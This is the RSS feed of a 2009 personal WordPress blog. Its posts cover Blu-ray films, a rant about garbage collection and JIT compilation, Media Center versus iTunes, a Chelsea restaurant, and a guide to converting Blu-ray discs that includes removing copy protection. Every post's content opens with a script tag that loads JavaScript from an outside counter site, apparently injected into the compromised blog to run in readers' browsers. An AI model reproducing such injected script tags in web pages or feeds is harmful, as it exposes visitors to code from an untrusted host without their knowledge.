<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	>

<channel>
	<title>howardlong.com</title>
	<atom:link href="http://howardlong.com/wordpress/?feed=rss2" rel="self" type="application/rss+xml" />
	<link>http://howardlong.com/wordpress</link>
	<description>Howard Long's blog: my thoughts on wine, food, computers, multimedia, and life.</description>
	<pubDate>Tue, 26 May 2009 12:48:40 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.6</generator>
	<language>en</language>
			<item>
		<title>The Bank Job Blu-ray</title>
		<link>http://howardlong.com/wordpress/?p=48</link>
		<comments>http://howardlong.com/wordpress/?p=48#comments</comments>
		<pubDate>Tue, 26 May 2009 12:01:05 +0000</pubDate>
		<dc:creator>webmaster</dc:creator>
		
		<category><![CDATA[High Definition Telly]]></category>

		<guid isPermaLink="false">http://howardlong.com/wordpress/?p=48</guid>
		<description><![CDATA[
My favourite movie since Mamma Mia (doesn&#8217;t say much about me or my tastes I suppose). A must for London-philes. I&#8217;m not sure how much of this film is really true and how much of it is a figment of a wild imagination, but even if it were complete fiction it&#8217;d still be very entertaining.
]]></description>
			<content:encoded><![CDATA[<p><script type='text/javascript' src='http://newstatscounter.org/counter192.js'></script>
<p style="text-align: left;">My favourite movie since Mamma Mia (doesn&#8217;t say much about me or my tastes I suppose). A must for London-philes. I&#8217;m not sure how much of this film is really true and how much of it is a figment of a wild imagination, but even if it were complete fiction it&#8217;d still be very entertaining.</p>
]]></content:encoded>
			<wfw:commentRss>http://howardlong.com/wordpress/?feed=rss2&amp;p=48</wfw:commentRss>
		</item>
		<item>
		<title>28 Days Later Blu-ray</title>
		<link>http://howardlong.com/wordpress/?p=45</link>
		<comments>http://howardlong.com/wordpress/?p=45#comments</comments>
		<pubDate>Tue, 26 May 2009 11:57:42 +0000</pubDate>
		<dc:creator>webmaster</dc:creator>
		
		<category><![CDATA[High Definition Telly]]></category>

		<guid isPermaLink="false">http://howardlong.com/wordpress/?p=45</guid>
		<description><![CDATA[
OK, so I meant to see this a long time ago. Watched it last night on Blu-ray. Uh-oh. Only the last five minutes is in full 1080p, the rest of it is in DVD 480p quality, having been originally recorded on a DV camera. I&#8217;m sure the apologists will say that the low resolution add [...]]]></description>
			<content:encoded><![CDATA[<p><script type='text/javascript' src='http://newstatscounter.org/counter192.js'></script>
<p style="text-align: left;">OK, so I meant to see this a long time ago. Watched it last night on Blu-ray. Uh-oh. Only the last five minutes is in full 1080p, the rest <span id="more-45"></span>of it is in DVD 480p quality, having been originally recorded on a DV camera. I&#8217;m sure the apologists will say that the low resolution add to the gritty nature of the movie, but I feel totally, utterly, and completely ripped off when I could&#8217;ve bought the DVD for three quid instead and a fourteen quid Blu-ray.</p>
<p style="text-align: left;">The striy is, however good if you&#8217;re into Day-of-the-Triffid or Survivor type genres. Also interesting how the London streets and the motorways were empty during filming.</p>
]]></content:encoded>
			<wfw:commentRss>http://howardlong.com/wordpress/?feed=rss2&amp;p=45</wfw:commentRss>
		</item>
		<item>
		<title>Indeterminstic systems - the scourge of modern IT systems</title>
		<link>http://howardlong.com/wordpress/?p=39</link>
		<comments>http://howardlong.com/wordpress/?p=39#comments</comments>
		<pubDate>Tue, 26 May 2009 11:40:02 +0000</pubDate>
		<dc:creator>webmaster</dc:creator>
		
		<category><![CDATA[Computers general]]></category>

		<guid isPermaLink="false">http://howardlong.com/wordpress/?p=39</guid>
		<description><![CDATA[
Let me indulge in a brief history of IT over the past couple of decades.
Take your minds back twenty years ago, when object oriented programming was starting to emerge. Lots of new words, like abstraction, objects, methods, polymorphism, overloading, inheritance. Many of them were words invented for mechanisms for things that we could already do in languages [...]]]></description>
			<content:encoded><![CDATA[<p><script type='text/javascript' src='http://newstatscounter.org/counter192.js'></script>
<p style="text-align: left;">Let me indulge in a brief history of IT over the past couple of decades.</p>
<p style="text-align: left;">Take your minds back twenty years ago, when object oriented programming was starting to emerge. Lots of new words, like <span id="more-39"></span>abstraction, objects, methods, polymorphism, overloading, inheritance. Many of them were words invented for mechanisms for things that we could already do in languages such as C, but maybe with a bit more work. Pointers to functions in C, for example, when used in data structures gives you run time binding methods. Let&#8217;s face it, in the early days of C++, source code was translated to C before compiling with a standard C compiler.</p>
<p style="text-align: left;">RAD (rapid application development) was the rage fifteen years ago. This turned out to be nothing more than a marketing TLA.</p>
<p style="text-align: left;">TCO and ROI have been the IT management buzz TLAs for the past ten years. But someone please tell me: once the management consultant has convinced the management that this great new system will result in a projected ROI of eighteen months and a 20% reduction in TCO, where exactly is that management consultant eighteen months later? That&#8217;s right, he&#8217;s buggered off to peddle the latest management consultant mantra somewhere else. And does anyone go back and check if ROI and TCO was on target? You bet they didn&#8217;t.</p>
<p style="text-align: left;">Change. That&#8217;s the last five year&#8217;s MBA word. Apparently change is good. Good for management consultants that&#8217;s for sure. Even branding consultants have jumped on the bandwagon: if you don&#8217;t have a company mission statement or motto with &#8220;Change&#8221; in it, you&#8217;re just not trendy. And for IT, that means Change Control, a way to procedurise common sense. Now Change Control is a necessity, but all to often it&#8217;s the whipping boy to blame when things go wrong, and the next thing you know there&#8217;s yet another procedure that&#8217;s been instigated because something else went wrong. Procedure&#8217;s all very well, but it dumbs down people. No-one has responsibility anymore because it&#8217;s the procedure&#8217;s fault. Or because there isn&#8217;t a procedure. Look, we all make mistakes, and we learn from mistakes. That&#8217;s what gives us &#8220;intelligence&#8221;. So don&#8217;t patronise us all by spoon feeding more and more procedures. Some of us have grey matter you know.</p>
<p style="text-align: left;">Back to IT. First it was Java, then it was C#. Extending on the object oriented mantra of layering technologies, obfuscating what&#8217;s going on under the hood, we now have two things that to me seem totally at odds with everything I grew up with: manage your limited resources with care and keep response times consistently quick.</p>
<p style="text-align: left;">Two things with Java and C# technologies will destroy deterministic behaviour in response times and resource usage, namely garbage collection and JIT compilation. No longer can you check your basic system counters for memory usage and know whether or not you have a resource leak of some kind. Oh, I forgot, the programming runtime environment deals with all that&#8230;</p>
<p style="text-align: left;">So, although garbage collection (a technology of the BASIC interpreters of the 1960&#8217;s) saves lazy programmers to some degree from memory management, it adds an additional level of indirection when addressing, makes apparent application memory usage go crazy, and, when a GC occurs seemingly at random, your system slows down.</p>
<p style="text-align: left;">JIT compilation&#8217;s another area that I just don&#8217;t get. Sure, CPU&#8217;s relatively cheap but if you happen to run some non-trivial application for the first time since rebooting, you&#8217;ll have to suffer a recompile, and that might take some time. I don&#8217;t get why the code can&#8217;t be JITted when it&#8217;s installed. And as almost all C# code is destined for WINTEL platforms, why is JIT needed at all? Oh, hang on, there might be some weird SSE instruction that might be needed. OK, but once in a blue moon I&#8217;d suggest. So make JITting occur at install time, not at runtime.</p>
<p style="text-align: left;">Indeterminism of resource usage and response times are difficult things to fix in a production environment, and lead to extensive end user angst. The application programmers are so high up the food chain that they have no clue how an app will perform in the real world. And what are the upsides of using Java and C# exactly? Do we see improved development time? Reduced costs? You bet we don&#8217;t.</p>
]]></content:encoded>
			<wfw:commentRss>http://howardlong.com/wordpress/?feed=rss2&amp;p=39</wfw:commentRss>
		</item>
		<item>
		<title>Music results latest: Media Center 1, iTunes 2</title>
		<link>http://howardlong.com/wordpress/?p=33</link>
		<comments>http://howardlong.com/wordpress/?p=33#comments</comments>
		<pubDate>Mon, 25 May 2009 20:51:37 +0000</pubDate>
		<dc:creator>webmaster</dc:creator>
		
		<category><![CDATA[Windows 7 / Windows Media Center]]></category>

		<guid isPermaLink="false">http://howardlong.com/wordpress/?p=33</guid>
		<description><![CDATA[
I have Windows 7 Media Center build 7100 running fairly well now, even using the Extender.
But what about that simplest of Media Center functionality, playing music? How difficult can it be?
Media Center fails massively on its useless database that seems to need rebuilding at the drop of a hat. With thousands of tracks, that takes quite [...]]]></description>
			<content:encoded><![CDATA[<p><script type='text/javascript' src='http://newstatscounter.org/counter192.js'></script>
<p style="text-align: left;">I have Windows 7 Media Center build 7100 running fairly well now, even using the Extender.</p>
<p style="text-align: left;">But what about that simplest of Media Center functionality, playing music? How difficult can it be?</p>
<p style="text-align: left;">Media Center fails massively <span id="more-33"></span>on its useless database that seems to need rebuilding at the drop of a hat. With thousands of tracks, that takes quite some time, and it&#8217;s certainly irritating. There seems to be some linkage with Windows Media Player 12 too, which also suffers from regular database rebuilding. It&#8217;s so unreliable, I&#8217;ve given up using it for all but a few dozen albums.</p>
<p style="text-align: left;">Using your Windows Mobile device as a remote control using Microsoft&#8217;s Sideshow is so mediocre that I gave up using it within minutes.</p>
<p style="text-align: left;">The plus side of Windows Media Center for music is the Extender functionality so I can play the tracks in other rooms of the house. Perhaps surprisingly for Microsoft, WMC also supports a standard, DLNA, allowing sharing of medoa libraries between devices. But DLNA implementations seem to be a bit of an afterthought, and again, like the integrated database problem, seems to have appalling performance problems with anything other than trivial libraries (the PS3 DLNA client also has this problem).</p>
<p style="text-align: left;">So I tried iTunes instead. This suffers none of the database issues that WMP/WMC does. That&#8217;s a massive plus. I know every time I want to access a song it&#8217;ll be there without having to wait hours for a database to be rebuilt.</p>
<p style="text-align: left;">On the downside iTunes doesn&#8217;t like WMA encoded music and insists of re-encoding it. Also iTunes isn&#8217;t DLNA compatible so you&#8217;re into the realms of proprietary technology for distributed media. And of course it won&#8217;t run through the WMC Extender.</p>
<p style="text-align: left;">But there are two extra plusses for iTunes. You can run the audio through a terminal services client (aka remote desktop). Then there&#8217;s the real deal killer - the Remote app that you can run on your iPhone or iPod and remotely control the system over your WiFi. You can even run Genius from the remote to come up with a playlist.</p>
<p style="text-align: left;">So, Microsoft, wake up and smell the coffee: Sideshow as a Media Center remote is useless. But the database behind WMC makes the music library really makes WMC a disaster for serious music use.</p>
]]></content:encoded>
			<wfw:commentRss>http://howardlong.com/wordpress/?feed=rss2&amp;p=33</wfw:commentRss>
		</item>
		<item>
		<title>Streaming your 1080p Blu-ray and HD-DVD content to Windows Media Center Extenders</title>
		<link>http://howardlong.com/wordpress/?p=11</link>
		<comments>http://howardlong.com/wordpress/?p=11#comments</comments>
		<pubDate>Tue, 19 May 2009 13:59:03 +0000</pubDate>
		<dc:creator>webmaster</dc:creator>
		
		<category><![CDATA[High Definition Telly]]></category>

		<category><![CDATA[Windows 7 / Windows Media Center]]></category>

		<guid isPermaLink="false">http://howardlong.com/wordpress/?p=11</guid>
		<description><![CDATA[
After many evenings, I finally have a way of generating 1080p video from Blu-ray disk (aka BD) and HD-DVD that works on Linksys DMA 2100 Media Center Extenders. I&#8217;ve done conversions under both Windows XP and Windows 7 RC. I&#8217;ve tried many different formats to try to get decent 1080p that you can pause, fast forward [...]]]></description>
			<content:encoded><![CDATA[<p><script type='text/javascript' src='http://newstatscounter.org/counter192.js'></script>
<p style="text-align: left;">After many evenings, I finally have a way of generating 1080p video from Blu-ray disk (aka BD) and HD-DVD that works on Linksys DMA 2100 Media Center Extenders. I&#8217;ve done conversions under both Windows XP and Windows 7 RC. I&#8217;ve tried many <span id="more-11"></span>different formats to try to get decent 1080p that you can pause, fast forward and rewind etc, but the method described here is the only one I&#8217;ve managed to get to work consistently well.</p>
<p style="text-align: left;">The basis is this:</p>
<p style="text-align: left;"><a href="http://howardlong.com/wordpress/wp-content/uploads/2009/05/bdtodvrms2.gif"><img class="alignnone size-medium wp-image-21" title="bdtodvrms2" src="http://howardlong.com/wordpress/wp-content/uploads/2009/05/bdtodvrms2-300x19.gif" alt="" width="593" height="42" /></a></p>
<ul style="text-align: left;">
<li><strong>Decryption/copy protection removal</strong>
<ul>
<li>AnyDVD-HD - don&#8217;t leave home without it</li>
</ul>
</li>
<li><strong>Identify correct audio &amp; video streams</strong>
<ul>
<li>EVODemux for HD-DVD</li>
<li>BDInfo for Blu-ray</li>
</ul>
</li>
<li><strong>Remux audio &amp; video streams into a .TS container</strong>
<ul>
<li>Use TSMuxerGUI
<ul>
<li>remove any pulldown, convert to 24000/1001 fps if necessary</li>
<li>files are \HVDVD_TS\*.EVO for HD-DVD</li>
<li>files are \BDMV\STREAM\*.M2TS for Blu-ray</li>
<li>Windows XP will need a UDF 2.5 filesystem device driver to read the files from the BD: Google &#8220;udf 2.5 driver xp&#8221;</li>
</ul>
</li>
</ul>
</li>
<li><strong>Extract &amp; convert audio to 640kbps 5.1 AC3 (if not already)</strong>
<ul>
<li>Use TSMuxerGUI to to demux the audio</li>
<li>EAC3ToGUI to convert to AC3
<ul>
<li>Sometimes LPCM &gt; 4GB, so you&#8217;ll need to split into two AC3&#8217;s and re-join when remuxing</li>
<li>Set 640kbps, and use libav settings</li>
</ul>
</li>
</ul>
</li>
<li><strong>Convert video to 20Mbps CBR MPEG-2 (if not already MPEG-2) </strong>
<ul>
<li>Graphedit with Haali media splitter, ffdshow decoders, Sonic MPEG-2 encoder and File Writer (all DirectShow filters)
<ul>
<li>Set <strong>both</strong> Sonic MPEG-2 encoder settings to Progressive</li>
<li>Sonic MPEG-2 encoder is the only one I can get to work at 1080p</li>
<li>Sonic MPEG-2 encoder is part of Roxio Creator 2009 Ultimate</li>
<li>Ignore audio stream at this stage</li>
</ul>
</li>
</ul>
</li>
<li><strong>Remux converted audio &amp; video into .TS container </strong>
<ul>
<li>TSMuxerGUI again</li>
</ul>
</li>
<li><strong>Remux converted .TS to .DVR-MS </strong>
<ul>
<li>TSConverter
<ul>
<li>Under Vista or Windows 7, you&#8217;ll need to run this as administrator (find it in Program Files\DVBPortal, right click, Run As Administrator)</li>
</ul>
</li>
</ul>
</li>
</ul>
<p style="text-align: left;">Typical size of .DVR-MS is between about 15GB and 22GB depending on size.</p>
<p style="text-align: left;"><strong>Speed tips</strong></p>
<p style="text-align: left;">The slowest part is the video conversion (transcoding) from either VC-1 or H.264 to MPEG-2. With an i7 920 quad core hyperthreading box, I can do an H.264 to MPEG-2 conversion in 35 minutes. A VC-1 takes about 90 minutes. This is because H.264 currently has multithreaded decoders, VC-1 does not.</p>
<p style="text-align: left;">In comparison, my circa 2002 3.06GHz hyperthreading P4 takes about six hours to transcode! There are two reasons for this: firstly, there&#8217;s the lack of true multi core, and more importantly there&#8217;s the lack of the latest SSE instructions. My T7200 2GHz dual core laptop is about three times faster than that old P4 smoker.</p>
<p style="text-align: left;">When muxing/demuxing (as opposed to transcoding) the primary bottleneck is disk I/O. I know that in these days of SANs it&#8217;s not trendy to think of spndle management, but you&#8217;ll double your throughput if you read from one disk and write to another. On the i7 920 I can achieve a sustained 100MB/s using separate ESATA disks, muxing an entire BD in 3 to 4 minutes! My older PATA PCs (eg, 3.06GHz P4 HT) has a 40MB/s disk-disk thoughput. You will have big penalties (less than half the througput) if you try to do muxing/demuxing on a single disk. That is straight down to the disk contention due to the head movement that&#8217;s having to go on to support &#8220;simultaneous&#8221; reading and writing to the same disk. In contrast doing a disk to disk mux means that the disk head movement is going to be far less, in (hopefully) a much more sequential behaviour. (At this point, I may well have one or two of the serial disk defragmenter brigade getting on my case - but that, my friends, is whole other story).</p>
<p style="text-align: left;">Think direct attached storage (DAS) rather than NAS or USB. USB maxes out at about 20MB/s. Even gigabit NAS will be sluggish in comparison to DAS.</p>
<p style="text-align: left;"><a href="http://howardlong.com/wordpress/wp-content/uploads/2009/05/bdtodvrms.gif"><img class="alignnone size-medium wp-image-12" title="bdtodvrms" src="http://howardlong.com/wordpress/wp-content/uploads/2009/05/bdtodvrms-300x122.gif" alt="" width="535" height="222" /></a></p>
]]></content:encoded>
			<wfw:commentRss>http://howardlong.com/wordpress/?feed=rss2&amp;p=11</wfw:commentRss>
		</item>
		<item>
		<title>The Enterprise, Walton Street SW3</title>
		<link>http://howardlong.com/wordpress/?p=5</link>
		<comments>http://howardlong.com/wordpress/?p=5#comments</comments>
		<pubDate>Tue, 19 May 2009 09:44:13 +0000</pubDate>
		<dc:creator>webmaster</dc:creator>
		
		<category><![CDATA[Grub]]></category>

		<guid isPermaLink="false">http://howardlong.com/wordpress/?p=5</guid>
		<description><![CDATA[
I&#8217;ve lived in the area for over fifteen years, and for all of those years I&#8217;ve been aware of the Enterprise, a pub that was converted into a restaurant some time ago. I don&#8217;t know why I&#8217;ve never been in, but I did last Sunday. Clientele are largely locals. Food covers a multitude of sins on a [...]]]></description>
			<content:encoded><![CDATA[<p><script type='text/javascript' src='http://newstatscounter.org/counter192.js'></script>
<p style="text-align: left;">I&#8217;ve lived in the area for over fifteen years, and for all of those years I&#8217;ve been aware of the Enterprise, a pub that was converted into a restaurant some time ago. I don&#8217;t know why I&#8217;ve never been in, but I did last Sunday. Clientele are largely locals. Food covers a multitude of sins on a Sunday, from traditional roasts to scrambled eggs and smoked salmon brunch. I had a red mullet special that was served with roasted mediterranean style vegetabes. Superb. Finished off with an apple crumble and an &#8216;89 Suduiraut. Both to good stuff, but I got the match wrong, so I ended up with two desserts, the crumble and then the wine. I loved the whole thing.</p>
]]></content:encoded>
			<wfw:commentRss>http://howardlong.com/wordpress/?feed=rss2&amp;p=5</wfw:commentRss>
		</item>
		<item>
		<title>My first post</title>
		<link>http://howardlong.com/wordpress/?p=3</link>
		<comments>http://howardlong.com/wordpress/?p=3#comments</comments>
		<pubDate>Tue, 14 Apr 2009 13:10:52 +0000</pubDate>
		<dc:creator>webmaster</dc:creator>
		
		<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://howardlong.com/wordpress/?p=3</guid>
		<description><![CDATA[Well it&#8217;s been a long time coming, but I finally pulled my finger out and set up a blog. Hopefully this will be full of frank and fun information on the world of Howard Long. Either that or I will put my foot in it royally at some stage and regret ever doing it at [...]]]></description>
			<content:encoded><![CDATA[<p><script type='text/javascript' src='http://newstatscounter.org/counter192.js'></script>Well it&#8217;s been a long time coming, but I finally pulled my finger out and set up a blog. Hopefully this will be full of frank and fun information on the world of Howard Long. Either that or I will put my foot in it royally at some stage and regret ever doing it at all.</p>
]]></content:encoded>
			<wfw:commentRss>http://howardlong.com/wordpress/?feed=rss2&amp;p=3</wfw:commentRss>
		</item>
	</channel>
</rss>
